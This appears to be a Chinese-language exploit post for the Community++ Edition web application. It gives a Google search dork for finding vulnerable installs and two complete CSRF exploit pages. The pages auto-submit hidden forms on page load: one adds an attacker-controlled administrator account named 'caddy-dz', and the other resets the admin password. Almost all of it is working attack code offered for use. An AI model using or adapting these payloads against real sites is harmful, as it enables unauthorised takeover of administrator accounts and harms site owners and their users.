谷歌关键词：intext:"Community++ Edition" inurl:/www/index.php
漏洞测试：
<html>
<head>
<title>添加管理员CSRF EXP</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}
</script>
<form action="http://127.0.0.1/communityplusplus/www/administrator.php?ctg=personal&user=admin&op=profile&add_user=1" method="post" name="user_form" id="user_form" enctype="multipart/form-data" onsubmit="try { var myValidator = validate_user_form; } catch(e) { return true; } return myValidator(this);">
<input name="_qf__user_form" type="hidden" value="" /><input name="MAX_FILE_SIZE" type="hidden" value="8388608" />
<table class = "formElements">
<input type="hidden" name="login" / value="caddy-dz">
<input type="hidden" name="password_" / value="caddy-dz">
<input type="hidden" name="passrepeat" / value="caddy-dz">
<input type="hidden" name="name" / value="islem">
<input type="hidden" name="surname" / value="cadi">
<input type="hidden" name="email" / value="caddy-dz@exploit-id.com">
<input type="hidden" name="active" value="0" /><input class="inputCheckbox" id="activeCheckbox" name="active" type="checkbox" value="1" checked="checked" /></td></tr>
<td class = "elementCell"><select name="user_type">
<option value="student">Student</option>
<option value="professor">Professor</option>
<option value="administrator" selected="selected">Administrator</option>
</form>
------------------------------------------------------------------------------------------
<html>
<head>
<title>修改管理密码CSRF EXP</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
}
}
</script>
<form action="http://127.0.0.1/communityplusplus/www/administrator.php?ctg=personal&user=admin&op=profile" method="post" name="user_form" id="user_form" enctype="multipart/form-data" onsubmit="try { var myValidator = validate_user_form; } catch(e) { return true; } return myValidator(this);">
<input name="_qf__user_form" type="hidden" value="" /><input name="MAX_FILE_SIZE" type="hidden" value="8388608" />
<table class = "formElements">
<input type="hidden" name="login" value="admin" />
<input type="hidden" name="password_" type="password" / value="caddy-dz">
<input type="hidden" name="passrepeat" type="password" / value="caddy-dz">
<input type="hidden" name="name" type="text" value="islem" />
<input type="hidden" name="surname" type="text" value="cadi" />
<input type="hidden" name="email" type="text" value="caddy-dz@exploit-id.com" />
<input type="hidden" name="user_type" value="administrator" />
</form>
推荐
评论(0条)
